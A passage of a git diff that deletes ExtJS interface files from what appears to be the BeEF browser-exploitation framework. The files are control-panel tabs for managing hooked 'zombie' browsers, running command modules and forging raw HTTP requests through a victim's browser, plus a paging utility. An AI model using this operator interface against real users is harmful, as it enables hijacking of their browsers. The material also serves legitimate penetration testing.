dataUrl: '/ui/modules/select/commandmodules/tree.json', - baseParams: {zombie_session: zombie.session}, - listeners:{ - beforeload: function(treeloader, node, callback) { - // Show loading mask on body, to prevent the user interacting with the UI - treeloader.treeLoadingMask = new Ext.LoadMask(Ext.getBody(), {msg:"Please wait, command tree is loading..."}); - treeloader.treeLoadingMask.show(); - return true; - }, - load: function(treeloader, node, response) { - // Hide loading mask after tree is fully loaded - treeloader.treeLoadingMask.hide(); - - if(Ext.get('welcomeWinShown') == null){ - welcomeWindow.show(); - // add a div in the header section, to prevent displaying the Welcome Window every time - // the module_tree_panel is loaded - Ext.DomHelper.append('header', {tag: 'div', id: 'welcomeWinShown'}); - } - return true; - } - } - }), - listeners: { - 'click': function(node) { - if(!node.leaf) { - node.toggle(); - } else { - // if the user don't close the welcome window, let hide it automatically - welcomeWindow.hide(); - - command_module_config.configLoadMask = new Ext.LoadMask(Ext.getBody(), {msg:"Please wait, module config is loading..."}); - command_module_config.configLoadMask.show(); - - command_module_grid.i = 0; - command_module_grid.store.baseParams = {command_module_id: node.attributes.id, zombie_session: zombie.session}; - command_module_grid.store.reload({ //reload the command module grid - params: { // insert the nonce with the request to reload the grid - nonce: Ext.get ("nonce").dom.value - } - }); - - genNewExploitPanel(command_module_config, node.id, node.text, zombie, commands_statusbar); - commands_statusbar.showValid('Ready'); - } - }, - 'afterrender' : function() { - } - } - }); - - var commands_statusbar = new Beef_StatusBar(zombie.session); - - ZombieTab_Commands.superclass.constructor.call(this, { - id: 'zombie-'+zombie.session+'-command-module-panel', - title:'Commands', - layout: 'fit', - region: 'center', - autScroll: true, - items: { - layout: 'border', - border: false, - // enable width resize of the command_module_tree - defaults: { - collapsible: false, - split: true - }, - items: [command_module_tree, - new Ext.Panel({ - id: 'zombie-command-module-west-'+zombie.session, - region: 'center', - layout: 'border', - border: false, - items: [command_module_grid, command_module_config] - })] - }, - - bbar: commands_statusbar - }); - - var sb = Ext.getCmp('command-module-bbar-zombie-'+zombie.session); -}; - -Ext.extend(ZombieTab_Commands, Ext.Panel, {}); diff --git a/public/javascript/ui/panel/tabs/ZombieTabDetails.js b/public/javascript/ui/panel/tabs/ZombieTabDetails.js deleted file mode 100644 index 7567aba32..000000000 --- a/public/javascript/ui/panel/tabs/ZombieTabDetails.js +++ /dev/null @@ -1,84 +0,0 @@ -/* - * The main Tab panel for the selected zombie. - */ -ZombieTab_DetailsTab = function(zombie) { - - var store_summary = new Ext.data.GroupingStore({ - url: '/ui/modules/select/zombie_summary.json', - baseParams: {zombie_session: zombie.session} , - reader: new Ext.data.JsonReader({ - root: 'results' - },[ - {name: 'data'}, - {name: 'category'}, - {name: 'from'} - ]), - - autoLoad: false, - sortInfo:{field: 'from', direction: "ASC"}, - groupField:'category' - }); - - var grid_summary = new Ext.grid.GridPanel({ - store: store_summary, - border: false, - region: 'center', - layout: 'fit', - hideHeaders: true, - loadMask: {msg:'Loading Information...'}, - - view: new Ext.grid.GroupingView({ - forceFit:true, - groupTextTpl: '{text} ({[values.rs.length]} {[values.rs.length > 1 ? "Items" : "Item"]})', - emptyText: "No Record found: this tab gets populated after you've ran some command modules.", - enableRowBody:true - }), - - viewConfig: { - forceFit:true - }, - - columns:[ - { - header: 'information', - dataIndex: 'data', - renderer: function(value, p, record) { - html = '' - - for(index in value) { - result = value[index]; - index = index.toString().replace('_', ' '); - - html += String.format('{0}: {1}
    ', index, result); - } - - return html; - } - }, - - {header: 'command_module', dataIndex:'from', width: 25, renderer: function(value){return value;}}, - {header: 'Category', dataIndex:'category', hidden: true, renderer: function(value){return value;}} - ] - }); - - ZombieTab_DetailsTab.superclass.constructor.call(this, { - id: 'zombie-details-tab'+zombie.session, - layout: 'fit', - title: 'Details', - - items: { - layout:'border', - border: false, - items:[grid_summary] - }, - - listeners:{ - activate : function(maintab){ - maintab.items.items[0].items.items[0].store.reload(); - } - } - }); - -}; - -Ext.extend(ZombieTab_DetailsTab, Ext.Panel, {}); diff --git a/public/javascript/ui/panel/tabs/ZombieTabLogs.js b/public/javascript/ui/panel/tabs/ZombieTabLogs.js deleted file mode 100644 index 664572543..000000000 --- a/public/javascript/ui/panel/tabs/ZombieTabLogs.js +++ /dev/null @@ -1,22 +0,0 @@ -/* - * The log Tab panel for the selected zombie. - */ -ZombieTab_LogTab = function(zombie) { - - var zombieLog = new DataGrid('/ui/logs/zombie.json',30,{session:zombie.session}); - zombieLog.border = false; - - ZombieTab_LogTab.superclass.constructor.call(this, { - id: 'zombie-log-tab' + zombie.session, - layout: 'fit', - title: 'Logs', - items: { - layout: 'border', - border: false, - items:[zombieLog] - } - }); -}; - -Ext.extend(ZombieTab_LogTab, Ext.Panel, {} ); - diff --git a/public/javascript/ui/panel/tabs/ZombieTabRequester.js b/public/javascript/ui/panel/tabs/ZombieTabRequester.js deleted file mode 100644 index 6f836e8ea..000000000 --- a/public/javascript/ui/panel/tabs/ZombieTabRequester.js +++ /dev/null @@ -1,252 +0,0 @@ -/* - * The request Tab panel for the selected zombie. - * Loaded in /ui/panel/index.html - */ -ZombieTab_Requester = function(zombie) { - - // The status bar. - var commands_statusbar = new Beef_StatusBar('requester-bbar-zombie-'+zombie.session); - - - /* - * The panel used to forge raw HTTP requests. - ********************************************/ - var requests_panel = new Ext.Panel({ - id: 'requester-forge-requests-zombie-'+zombie.session, - title: 'Forge Request', - layout: 'fit' - }); - - - /* - * The panel that displays the history of all requests performed. - ********************************************/ - var history_panel_store = new Ext.ux.data.PagingJsonStore({ - storeId: 'requester-history-store-zombie-'+zombie.session, - url: '/ui/requester/history.json', - remoteSort: false, - autoDestroy: true, - autoLoad: false, - root: 'history', - - fields: ['domain', 'date', 'id', 'has_ran', 'path'], - sortInfo: {field: 'date', direction: 'DESC'}, - - baseParams: { - nonce: Ext.get("nonce").dom.value, - zombie_session: zombie.session - } - }); - - var req_pagesize = 30; - - var history_panel_bbar = new Ext.PagingToolbar({ - pageSize: req_pagesize, - store: history_panel_store, - displayInfo: true, - displayMsg: 'Displaying history {0} - {1} of {2}', - emptyMsg: 'No history to display' - }); - - var history_panel_grid = new Ext.grid.GridPanel({ - id: 'requester-history-grid-zombie-'+zombie.session, - store: history_panel_store, - bbar: history_panel_bbar, - border: false, - loadMask: {msg:'Loading History...'}, - - viewConfig: { - forceFit:true - }, - - view: new Ext.grid.GridView({ - forceFit: true, - emptyText: "No History", - enableRowBody:true - }), - - columns: [ - {header: 'id', width: 10, sortable: true, dataIndex: 'id', hidden: true}, - {header: 'domain', sortable: true, dataIndex: 'domain'}, - {header: 'path', sortable: true, dataIndex: 'path'}, - {header: 'response', width: 20, sortable: true, dataIndex: 'has_ran'}, - {header: 'date', width: 50, sortable: true, dataIndex: 'date'} - ], - - listeners: { - rowclick: function(grid, rowIndex) { - var tab_panel = Ext.getCmp('zombie-requester-tab-zombie-'+zombie.session); - var r = grid.getStore().getAt(rowIndex).data; - - if(!r.has_ran) { - commands_statusbar.update_fail("Response for this request has not been received yet."); - return; - } - - if(!tab_panel.get('requester-response-'+r.id)) { - genResultTab(r, zombie, commands_statusbar); - } - }, - afterrender: function(datagrid) { - datagrid.store.reload({params:{start:0,limit:req_pagesize, sort: "date", dir:"DESC"}}); - } - } - }); - - - var history_panel = new Ext.Panel({ - id: 'requester-history-panel-zombie-'+zombie.session, - title: 'History', - items:[history_panel_grid], - layout: 'fit', - - listeners: { - activate: function(history_panel) { - history_panel.items.items[0].store.reload(); - } - } - }); - - // Function generating the requests panel to send raw requests - //------------------------------------------------------------- - function genRawRequestPanel(zombie, bar, value) { - var form = new Ext.FormPanel({ - title: 'Forge Raw HTTP Request', - id: 'requester-request-form-zombie'+zombie.session, - url: '/ui/requester/send', - hideLabels : true, - border: false, - padding: '3px 5px 0 5px', - - items:[{ - xtype: 'textarea', - id: 'raw-request-zombie-'+zombie.session, - name: 'raw_request', - width: '100%', - height: '100%', - allowBlank: false - }], - - buttons: [{ - text: 'Send', - handler: function() { - var form = Ext.getCmp('requester-request-form-zombie'+zombie.session).getForm(); - - bar.update_sending('Sending request to ' + zombie.ip + '...'); - - form.submit({ - params: { - nonce: Ext.get("nonce").dom.value,//insert the nonce with the form - zombie_session: zombie.session - }, - success: function() { - bar.update_sent("Request sent to hooked browser " + zombie.ip); - }, - failure: function() { - bar.update_fail("Error! Invalid http request."); - } - }); - } - }] - }); - - if(!value) { - value = "GET /demos/secret_page.html HTTP/1.1\n"; - - if(zombie.domain) { - value += "Host: "+zombie.domain.split(':')[0]+"\n"; - } else { - value += "Host: \n"; - } - } - - form.get('raw-request-zombie-'+zombie.session).value = value; - - panel = Ext.getCmp('requester-forge-requests-zombie-'+zombie.session); - panel.setTitle('Forge Request'); - panel.add(form); - }; - - // Function generating the panel that shows the results of a request - // This function is called when the user clicks on a row in the grid - // showing the results in the history. - //------------------------------------------------------------------ - function genResultTab(request, zombie, bar) { - var tab_panel = Ext.getCmp('zombie-requester-tab-zombie-'+zombie.session); - - bar.update_sending('Getting response...'); - - Ext.Ajax.request({ - url: '/ui/requester/response.json', - loadMask: true, - - params: { - nonce: Ext.get("nonce").dom.value, - http_id: request.id - }, - - success: function(response) { - var xhr = Ext.decode(response.responseText); - - var tab_result_response = new Ext.Panel({ - title: 'Reponse', - border: false, - layout: 'fit', - padding: '5px 5px 5px 5px', - items:[new Ext.form.TextArea({id: 'requester-response-res-'+request.id, value: xhr.result.response})] - }); - - var tab_result_request = new Ext.Panel({ - title: 'Request', - border: false, - layout: 'fit', - padding: '5px 5px 5px 5px', - items:[new Ext.form.TextArea({id: 'requester-response-req-'+request.id, value: xhr.result.request})] - }); - - var tab_result_accordion = new Ext.Panel({ - id: 'requester-response-'+request.id, - title: request.path, - split: true, - border: false, - layout:'accordion', - closable: true, - items:[tab_result_response, tab_result_request] - }); - - tab_panel.add(tab_result_accordion); - tab_panel.activate(tab_result_accordion.id); - - bar.update_sent("Displaying response."); - }, - - failure: function() { - bar.update_fail("Error! Could you retrieve the response."); - } - }); - }; - - - ZombieTab_Requester.superclass.constructor.call(this, { - id: 'zombie-requester-tab-zombie-'+zombie.session, - title: 'Requester', - activeTab: 0, - viewConfig: { - forceFit: true, - type: 'fit' - }, - - items: [history_panel, requests_panel], - - bbar: commands_statusbar, - - listeners: { - afterrender : function(){ - genRawRequestPanel(zombie, commands_statusbar); - } - } - }); - -}; - -Ext.extend(ZombieTab_Requester, Ext.TabPanel, {}); diff --git a/public/javascript/ui/panel/zombiesTreeList.js b/public/javascript/ui/panel/zombiesTreeList.js deleted file mode 100644 index d1428ff68..000000000 --- a/public/javascript/ui/panel/zombiesTreeList.js +++ /dev/null @@ -1,272 +0,0 @@ -/* - * The zombie panel located on the left hand side of the interface. - */ -zombiesTreeList = function(id) { - - var title = id.slice(0,1).toUpperCase() + id.slice(1); - - zombiesTreeList.superclass.constructor.call(this, { - id:'zombie-tree-'+id, - region:'west', - title: title, - split:true, - rootVisible:false, - lines:false, - autoScroll:true, - useArrows:true, - root: new Ext.tree.TreeNode('My Zombies'), - collapseFirst:false - }); - - //the tree node that contains the list of online hooked browsers - this.online_hooked_browsers_treenode = this.root.appendChild( - new Ext.tree.TreeNode({ - text:'Online Browsers', - cls:'online-zombies-node', - expanded:true - }) - ); - - //the tree node that contains the list of offline hooked browsers - this.offline_hooked_browsers_treenode = this.root.appendChild( - new Ext.tree.TreeNode({ - text:'Offline Browsers', - cls:'offline-zombies-node', - expanded:false - }) - ); - -}; - -/* - * The Tree panel that contains the zombie list. - */ -Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { - - //saves the configuration for the tree - tree_configuration: { - 'sub-branch' : 'domain', - 'distributed' : false - }, - - //store the list of online hooked browsers in an array - online_hooked_browsers_array: new Array, - - //store the list of offline hooked browsers in an array - offline_hooked_browsers_array: new Array, - - //store the distributed engine rules - distributed_engine_rules: null, - - listeners: { - //creates a new hooked browser tab when a hooked browser is clicked - click: function(node, e) { - if(!node.leaf) return; - - if(!mainPanel.get(node.attributes.session)) { - mainPanel.add(new ZombieTab(node.attributes)); - } - - mainPanel.activate(node.attributes.session); - }, - //update the set of rules when a checkbox is clicked - checkchange: function(node, checked) { - - } - }, - - /* - * Updates the configuration of the tree. - * @param: {Literal Object} the new configuration. - */ - updateConfiguration: function(new_configuration) { - Ext.apply(this.tree_configuration, new_configuration); - }, - - /* - * Reloads the tree. This function is useful after you have updated the configuration - * of the tree. - */ - reload: function() { - //deletes all the nodes in the online hooked browser branch - try {this.online_hooked_browsers_treenode.removeAll(true);} catch(e) {}; - - //adds back the hooked browser to the online branch - Ext.each(this.online_hooked_browsers_array, function(online_hooked_browser) { - this.addZombie(online_hooked_browser, online_hooked_browser["online"], online_hooked_browser["checkbox"]); - }, this) - - //expends the online hooked browser branch - if(this.online_hooked_browsers_treenode.childNodes.length > 0) - this.online_hooked_browsers_treenode.expand(true); - - //deletes all the nodes in the offline hooked browser branch - try {this.offline_hooked_browsers_treenode.removeAll(true);} catch(e) {}; - - //adds back the hooked browsers to the offline branch - Ext.each(this.offline_hooked_browsers_array, function(offline_hooked_browser) { - this.addZombie(offline_hooked_browser, offline_hooked_browser["online"], offline_hooked_browser["checkbox"]); - }, this) - - //expends the online hooked browser branch - if(this.offline_hooked_browsers_treenode.childNodes.length > 0) - this.offline_hooked_browsers_treenode.expand(true); - }, - - /* - * Adds a new hooked browser to the tree. - * @param: {Literal Object} the hooked browser object generated by the zombie manager. - * @param: {Boolean} true if the hooked browser is online, false if offline. - * - */ - addZombie: function(hooked_browser, online, checkbox) { - var hb_id, mother_node, node; - - if(online) { - hb_id = 'zombie-online-' + hooked_browser.session; - mother_node = this.online_hooked_browsers_treenode; - } else { - hb_id = 'zombie-offline-' + hooked_browser.session; - mother_node = this.offline_hooked_browsers_treenode; - } - //window.console.log(this.online_hooked_browsers_array) - var exists = this.getNodeById(hb_id); - if(exists) return; - - //save a new online HB - if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) { - this.online_hooked_browsers_array.push(hooked_browser); - } - - //save a new offline HB - if(!online && this.offline_hooked_browsers_array.indexOf(hooked_browser)==-1) { - this.offline_hooked_browsers_array.push(hooked_browser); - } - - //apply CSS styles and configuring the hooked browser for the tree - Ext.apply(hooked_browser, { - iconCls: 'feed-icon', - leaf:true, - id: hb_id, - checked: ((checkbox) ? false : null), - online: online, - checkbox: checkbox - }); - - //creates a new node for that hooed browser - node = new Ext.tree.TreeNode(hooked_browser); - - //creates a sub-branch for that HB if necessary - mother_node = this.addSubFolder(mother_node, hooked_browser[this.tree_configuration['sub-branch']], checkbox); - - if(online) { - //add the hooked browser to the online branch - Ext.apply(hooked_browser, {cls: 'zombie-online'}); - mother_node.appendChild(node); - } else { - //add the hooked browser to the offline branch - Ext.apply(hooked_browser, {cls: 'zombie-offline'}); - mother_node.appendChild(node); - } - - return node; - }, - - /* - * Adds a sub-branch or sub-folder to the tree. - * @param: {Ext.tree.TreeNode} the mother node. - * @param: {String} the name of the new sub branch. - * @param: {Boolean} true if the sub-branch should have a checkbox; false if not. - */ - addSubFolder: function(mother_node, folder, checkbox) { - if(!folder) return mother_node; - - if(mother_node.hasChildNodes()) { - for(i in mother_node.childNodes) { - node = mother_node.childNodes[i]; - - if(typeof node == 'object' && node.attributes.text == folder) - return node; - } - } else { - sub_folder_node = new Ext.tree.TreeNode({ - id: 'sub-folder-'+folder, - text: folder, - checked: ((checkbox) ? false : null), - type: this.tree_configuration["sub-branch"] - }); - - mother_node.appendChild(sub_folder_node); - mother_node = sub_folder_node; - } - - return mother_node; - }, - - /* - * Remove any duplicated hooked browsers in branches. - * @param: {Literal Object} object containing the list of hooked browsers. - */ - compareAndRemove: function(zombies) { - var arr = ['online', 'offline']; - - Ext.each(arr, function(branch_type) { - var new_set_zombies = zombies[branch_type]; - var new_set_zombies_array = new Array; - - //converts the new set of zombies to an array - Ext.iterate(new_set_zombies, function(key, hooked_browser) { new_set_zombies_array.push(hooked_browser); }); - - //retrieves all the new hooked browsers' session id - var new_set_zombies_sessions = Ext.pluck(new_set_zombies_array, 'session'); - if(!new_set_zombies_sessions) return; - - //retrieves the branch that will be updated - var branch_node = eval('this.'+branch_type+'_hooked_browsers_treenode'); - - //retrieves the list of known hooked browsers in that branch - var hooked_browser_array = eval('this.'+branch_type+'_hooked_browsers_array'); - if(hooked_browser_array.length == 0) return; - - //we compare the list of known HBs to the new set of HBs retrieved. If a HB is missing - //we delete it from the tree. - Ext.iterate(hooked_browser_array, function(known_hooked_browser, key) { - if(!known_hooked_browser) return; - - var hb_session = known_hooked_browser["session"]; - - if(new_set_zombies_sessions.indexOf(hb_session)==-1) { - var node = this.getNodeById('zombie-'+branch_type+'-'+hb_session); - if(node) { - //remove the node from the tree - branch_node.removeChild(node); - - var parentNode = node.parentNode; - // remove the node parent sub-folder only if there are not any other HBs as child of it - // (basically, zombies that comes from the same IP) - if(parentNode.childNodes.length <= 1){ - branch_node.removeChild(parentNode); - } - - //because ExtJs has a bug with node.destroy() this is a hack to make it work for beef. - node.setId("hooked-browser-node-destroyed"); - - //update the array of hooked browser - hooked_browser_array = hooked_browser_array.slice(key, key+1); - eval('this.'+branch_type+'_hooked_browsers_array = hooked_browser_array'); - } - } - }, this); - }, this); - }, - - /* - * Apply a new set of distributed engine rules to the nodes in the tree - * @param: {Literal Objects} the rules set. See the zombie manager. - */ - applyRules: function(rules) { - //we return if the tree is not distributed - if(!this.tree_configuration["distributed"]) return; - - } -}); \ No newline at end of file diff --git a/public/javascript/ux/PagingStore.js b/public/javascript/ux/PagingStore.js deleted file mode 100644 index c08ca2b80..000000000 --- a/public/javascript/ux/PagingStore.js +++ /dev/null @@ -1,553 +0,0 @@ -/* - * PagingStore for Ext 3.2 - v0.5 - */ -Ext.ns('Ext.ux.data'); -Ext.ux.data.PagingStore = Ext.extend(Ext.data.Store, { - add: function (records) { - records = [].concat(records); - if (records.length < 1) { - return; - } - for (var i = 0, len = records.length; i < len; i++) { - records[i].join(this); - } - var index = this.data.length; - this.data.addAll(records); - // *** add *** - if (this.allData) { - this.allData.addAll(records); - } - // *** end *** - if (this.snapshot) { - this.snapshot.addAll(records); - } - // *** add *** - this.totalLength += records.length; - // *** end *** - this.fireEvent('add', this, records, index); - }, - remove: function (record) { - if (Ext.isArray(record)) { - Ext.each(record, function (r) { - this.remove(r); - }, this); - return; - } - // *** add *** - if (this != record.store) { - return; - } - record.join(null); - // *** end *** - var index = this.data.indexOf(record); - if (index > -1) { - // record.join(null); - this.data.removeAt(index); - } - if (this.pruneModifiedRecords) { - this.modified.remove(record); - } - // *** add *** - if (this.allData) { - this.allData.remove(record); - } - // *** end *** - if (this.snapshot) { - this.snapshot.remove(record); - } - // *** add *** - this.totalLength--; - // *** end *** - if (index > -1) { - this.fireEvent('remove', this, record, index); - } - }, - removeAll: function (silent) { - // *** add *** - var items = [].concat((this.snapshot || this.allData || this.data).items); - // *** end *** - // var items = []; - // this.each(function (rec) { - // items.push(rec); - // }); - this.clearData(); - // if (this.snapshot) { - // this.snapshot.clear(); - // } - if (this.pruneModifiedRecords) { - this.modified = []; - } - // *** add *** - this.totalLength = 0; - // *** end *** - if (silent !== true) { - this.fireEvent('clear', this, items); - } - }, - insert: function (index, records) { - records = [].concat(records); - for (var i = 0, len = records.length; i < len; i++) { - this.data.insert(index, records[i]); - records[i].join(this); - } - // *** add *** - if (this.allData) { - this.allData.addAll(records); - } - // *** end *** - if (this.snapshot) { - this.snapshot.addAll(records); - } - // *** add *** - this.totalLength += records.length; - // *** end *** - this.fireEvent('add', this, records, index); - }, - getById: function (id) { - // *** add *** - return (this.snapshot || this.allData || this.data).key(id); - // *** end *** - // return this.data.key(id); - }, - clearData: function () { - // *** add *** - if (this.allData) { - this.data = this.allData; - delete this.allData; - } - if (this.snapshot) { - this.data = this.snapshot; - delete this.snapshot; - } - // *** end *** - this.data.each(function (rec) { - rec.join(null); - }); - this.data.clear(); - }, - execute: function (action, rs, options, batch) { - if (!Ext.data.Api.isAction(action)) { - throw new Ext.data.Api.Error('execute', action); - } - options = Ext.applyIf(options || {}, { - params: {} - }); - if (batch !== undefined) { - this.addToBatch(batch); - } - var doRequest = true; - if (action === 'read') { - doRequest = this.fireEvent('beforeload', this, options); - Ext.applyIf(options.params, this.baseParams); - } - else { - if (this.writer.listful === true && this.restful !== true) { - rs = (Ext.isArray(rs)) ? rs : [rs]; - } - else if (Ext.isArray(rs) && rs.length == 1) { - rs = rs.shift(); - } - if ((doRequest = this.fireEvent('beforewrite', this, action, rs, options)) !== false) { - this.writer.apply(options.params, this.baseParams, action, rs); - } - } - if (doRequest !== false) { - if (this.writer && this.proxy.url && !this.proxy.restful && !Ext.data.Api.hasUniqueUrl(this.proxy, action)) { - options.params.xaction = action; - } - // *** add *** - if (action === "read" && this.isPaging(Ext.apply({}, options.params))) { - (function () { - if (this.allData) { - this.data = this.allData; - delete this.allData; - } - this.applyPaging(); - this.fireEvent("datachanged", this); - var r = [].concat(this.data.items); - this.fireEvent("load", this, r, options); - if (options.callback) { - options.callback.call(options.scope || this, r, options, true); - } - }).defer(1, this); - return true; - } - // *** end *** - this.proxy.request(Ext.data.Api.actions[action], rs, options.params, this.reader, this.createCallback(action, rs, batch), this, options); - } - return doRequest; - }, - loadRecords: function (o, options, success) { - if (this.isDestroyed === true) { - return; - } - if (!o || success === false) { - if (success !== false) { - this.fireEvent('load', this, [], options); - } - if (options.callback) { - options.callback.call(options.scope || this, [], options, false, o); - } - return; - } - var r = o.records, - t = o.totalRecords || r.length; - if (!options || options.add !== true) { - if (this.pruneModifiedRecords) { - this.modified = []; - } - for (var i = 0, len = r.length; i < len; i++) { - r[i].join(this); - } - //if (this.snapshot) { - // this.data = this.snapshot; - // delete this.snapshot; - //} - this.clearData(); - this.data.addAll(r); - this.totalLength = t; - this.applySort(); - // *** add *** - if (!this.allData) { - this.applyPaging(); - } - if (r.length > this.getCount()) { - r = [].concat(this.data.items); - } - // *** end *** - this.fireEvent('datachanged', this); - } else { - this.totalLength = Math.max(t, this.data.length + r.length); - this.add(r); - } - this.fireEvent('load', this, r, options); - if (options.callback) { - options.callback.call(options.scope || this, r, options, true); - } - }, - loadData: function (o, append) { - // *** add *** - this.isPaging(Ext.apply({}, this.lastOptions ? this.lastOptions.params : null, this.baseParams)); - // *** end *** - var r = this.reader.readRecords(o); - this.loadRecords(r, { - add: append - }, true); - }, - getTotalCount: function () { - // *** add *** - if (this.allData) { - return this.allData.getCount(); - } - // *** end *** - return this.totalLength || 0; - }, - sortData: function () { - var sortInfo = this.hasMultiSort ? this.multiSortInfo : this.sortInfo, - direction = sortInfo.direction || "ASC", - sorters = sortInfo.sorters, - sortFns = []; - if (!this.hasMultiSort) { - sorters = [{ - direction: direction, - field: sortInfo.field - }]; - } - for (var i = 0, j = sorters.length; i < j; i++) { - sortFns.push(this.createSortFunction(sorters[i].field, sorters[i].direction)); - } - if (!sortFns.length) { - return; - } - var directionModifier = direction.toUpperCase() == "DESC" ? -1 : 1; - var fn = function (r1, r2) { - var result = sortFns[0].call(this, r1, r2); - if (sortFns.length > 1) { - for (var i = 1, j = sortFns.length; i < j; i++) { - result = result || sortFns[i].call(this, r1, r2); - } - } - return directionModifier * result; - }; - // *** add *** - if (this.allData) { - this.data = this.allData; - delete this.allData; - } - // *** end *** - this.data.sort(direction, fn); - if (this.snapshot && this.snapshot != this.data) { - this.snapshot.sort(direction, fn); - } - // *** add *** - this.applyPaging(); - // *** end *** - }, - filterBy: function (fn, scope) { - // *** add *** - this.snapshot = this.snapshot || this.allData || this.data; - // *** end *** - // this.snapshot = this.snapshot || this.data; - this.data = this.queryBy(fn, scope || this); - // *** add *** - this.applyPaging(); - // *** end *** - this.fireEvent('datachanged', this); - }, - clearFilter: function (suppressEvent) { - if (this.isFiltered()) { - this.data = this.snapshot; - delete this.snapshot; - // *** add *** - delete this.allData; - this.applyPaging(); - // *** end *** - if (suppressEvent !== true) { - this.fireEvent('datachanged', this); - } - } - }, - isFiltered: function () { - // *** add *** - return !!this.snapshot && this.snapshot != (this.allData || this.data); - // *** end *** - // return !!this.snapshot && this.snapshot != this.data; - }, - queryBy: function (fn, scope) { - // *** add *** - var data = this.snapshot || this.allData || this.data; - // *** end *** - // var data = this.snapshot || this.data; - return data.filterBy(fn, scope || this); - }, - collect: function (dataIndex, allowNull, bypassFilter) { - // *** add *** - var d = (bypassFilter === true ? this.snapshot || this.allData || this.data : this.data).items; - // *** end *** - // var d = (bypassFilter === true && this.snapshot) ? this.snapshot.items : this.data.items; - var v, sv, r = [], - l = {}; - for (var i = 0, len = d.length; i < len; i++) { - v = d[i].data[dataIndex]; - sv = String(v); - if ((allowNull || !Ext.isEmpty(v)) && !l[sv]) { - l[sv] = true; - r[r.length] = v; - } - } - return r; - }, - findInsertIndex : function(record){ - this.suspendEvents(); - var data = this.data.clone(); - this.data.add(record); - this.applySort(); - var index = this.data.indexOf(record); - this.data = data; - // *** add *** - this.totalLength--; - // *** end *** - this.resumeEvents(); - return index; - }, - // *** add *** - isPaging: function (params) { - var pn = this.paramNames, - start = params[pn.start], - limit = params[pn.limit]; - if ((typeof start != 'number') || (typeof limit != 'number')) { - delete this.start; - delete this.limit; - this.lastParams = params; - return false; - } - this.start = start; - this.limit = limit; - delete params[pn.start]; - delete params[pn.limit]; - var lastParams = this.lastParams; - this.lastParams = params; - if (!this.proxy) { - return true; - } - if (!lastParams) { - return false; - } - for (var param in params) { - if (params.hasOwnProperty(param) && (params[param] !== lastParams[param])) { - return false; - } - } - for (param in lastParams) { - if (lastParams.hasOwnProperty(param) && (params[param] !== lastParams[param])) { - return false; - } - } - return true; - }, - applyPaging: function () { - var start = this.start, - limit = this.limit; - if ((typeof start == 'number') && (typeof limit == 'number')) { - var allData = this.data, - data = new Ext.util.MixedCollection(allData.allowFunctions, allData.getKey); - data.items = allData.items.slice(start, start + limit); - data.keys = allData.keys.slice(start, start + limit); - var len = data.length = data.items.length; - var map = {}; - for (var i = 0; i < len; i++) { - var item = data.items[i]; - map[data.getKey(item)] = item; - } - data.map = map; - this.allData = allData; - this.data = data; - } - } - // *** end *** -}); - -Ext.ux.data.PagingDirectStore = Ext.extend(Ext.ux.data.PagingStore, { - constructor: Ext.data.DirectStore.prototype.constructor -}); -Ext.reg('pagingdirectstore', Ext.ux.data.PagingDirectStore); - -Ext.ux.data.PagingJsonStore = Ext.extend(Ext.ux.data.PagingStore, { - constructor: Ext.data.JsonStore.prototype.constructor -}); -Ext.reg('pagingjsonstore', Ext.ux.data.PagingJsonStore); - -Ext.ux.data.PagingXmlStore = Ext.extend(Ext.ux.data.PagingStore, { - constructor: Ext.data.XmlStore.prototype.constructor -}); -Ext.reg('pagingxmlstore', Ext.ux.data.PagingXmlStore); - -Ext.ux.data.PagingArrayStore = Ext.extend(Ext.ux.data.PagingStore, { - constructor: Ext.data.ArrayStore.prototype.constructor, - loadData: function (data, append) { - if (this.expandData === true) { - var r = []; - for (var i = 0, len = data.length; i < len; i++) { - r[r.length] = [data[i]]; - } - data = r; - } - Ext.ux.data.PagingArrayStore.superclass.loadData.call(this, data, append); - } -}); -Ext.reg('pagingarraystore', Ext.ux.data.PagingArrayStore); - -Ext.ux.data.PagingSimpleStore = Ext.ux.data.PagingArrayStore; -Ext.reg('pagingsimplestore', Ext.ux.data.PagingSimpleStore); - -Ext.ux.data.PagingGroupingStore = Ext.extend(Ext.ux.data.PagingStore, Ext.copyTo({}, Ext.data.GroupingStore.prototype, [ - 'constructor', - 'remoteGroup', - 'groupOnSort', - 'groupDir', - 'clearGrouping', - 'groupBy', - 'sort', - 'applyGroupField', - 'applyGrouping', - 'getGroupState' -])); -Ext.reg('paginggroupingstore', Ext.ux.data.PagingGroupingStore); - -Ext.ux.PagingToolbar = Ext.extend(Ext.PagingToolbar, { - onLoad: function (store, r, o) { - if (!this.rendered) { - this.dsLoaded = [store, r, o]; - return; - } - var p = this.getParams(); - this.cursor = (o.params && o.params[p.start]) ? o.params[p.start] : 0; - this.onChange(); - // *** end *** - // var d = this.getPageData(), - // ap = d.activePage, - // ps = d.pages; - // this.afterTextItem.setText(String.format(this.afterPageText, d.pages)); - // this.inputItem.setValue(ap); - // this.first.setDisabled(ap == 1); - // this.prev.setDisabled(ap == 1); - // this.next.setDisabled(ap == ps); - // this.last.setDisabled(ap == ps); - // this.refresh.enable(); - // this.updateInfo(); - // this.fireEvent('change', this, d); - }, - onChange: function () { - // *** add *** - var t = this.store.getTotalCount(), - s = this.pageSize; - if (this.cursor >= t) { - this.cursor = Math.ceil((t + 1) / s) * s; - } - // *** end *** - var d = this.getPageData(), - ap = d.activePage, - ps = d.pages; - this.afterTextItem.setText(String.format(this.afterPageText, d.pages)); - this.inputItem.setValue(ap); - this.first.setDisabled(ap == 1); - this.prev.setDisabled(ap == 1); - this.next.setDisabled(ap == ps); - this.last.setDisabled(ap == ps); - this.refresh.enable(); - this.updateInfo(); - this.fireEvent('change', this, d); - }, - onClear: function () { - this.cursor = 0; - this.onChange(); - }, - doRefresh: function () { - // *** add *** - delete this.store.lastParams; - // *** end *** - this.doLoad(this.cursor); - }, - bindStore: function (store, initial) { - var doLoad; - if (!initial && this.store) { - if (store !== this.store && this.store.autoDestroy) { - this.store.destroy(); - } else { - this.store.un('beforeload', this.beforeLoad, this); - this.store.un('load', this.onLoad, this); - this.store.un('exception', this.onLoadError, this); - // *** add *** - this.store.un('datachanged', this.onChange, this); - this.store.un('add', this.onChange, this); - this.store.un('remove', this.onChange, this); - this.store.un('clear', this.onClear, this); - // *** end *** - } - if (!store) { - this.store = null; - } - } - if (store) { - store = Ext.StoreMgr.lookup(store); - store.on({ - scope: this, - beforeload: this.beforeLoad, - load: this.onLoad, - exception: 